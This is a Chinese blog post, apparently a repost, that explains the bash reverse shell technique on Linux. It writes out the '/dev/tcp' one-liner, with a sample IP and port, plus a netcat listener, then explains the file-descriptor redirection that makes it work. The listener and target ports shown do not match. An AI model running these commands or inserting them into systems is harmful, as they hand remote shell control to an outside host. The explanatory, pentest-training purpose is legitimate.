码迷,mamicode.com
首页 > 系统相关 > 详细

Linux下几种反弹Shell方法的总结---持续更新

时间:2020-04-09 12:23:10      阅读:145      评论:0      收藏:0      [点我收藏+]

标签:col   也会   错误输出   知识   交互式   查看   lin   标准输入   dev   

方法一:(bash反弹)

反弹shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

首先,使用nc在kali上监听端口:

nc -lvp 7777

技术图片

 然后在目标机输入:

bash -i >& /dev/tcp/192.168.0.30/4444 0>&1

可以看到shell成功反弹到了kali上面,可以执行命令:

技术图片

在解释这条反弹shell的命令原理之前,首先需要掌握几个点。

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述符:

技术图片

理解了上面这些知识,下面来解释一下这一条反弹shell的命令,

bash -i代表在本地打开一个交互式bash,

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,

>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在目标机输入命令,输出以及错误输出的内容就会被传递显示到远程。

 技术图片

 在本地输入设备(键盘)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程,然后命令的执行结果或者错误也会被传到远程,查看远程,可以看到标准输出和标准错误输出都重定向到了远程:

技术图片

 下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

技术图片

技术图片

 

Linux下几种反弹Shell方法的总结---持续更新

标签:col   也会   错误输出   知识   交互式   查看   lin   标准输入   dev   

原文地址:https://www.cnblogs.com/yyxianren/p/12665816.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!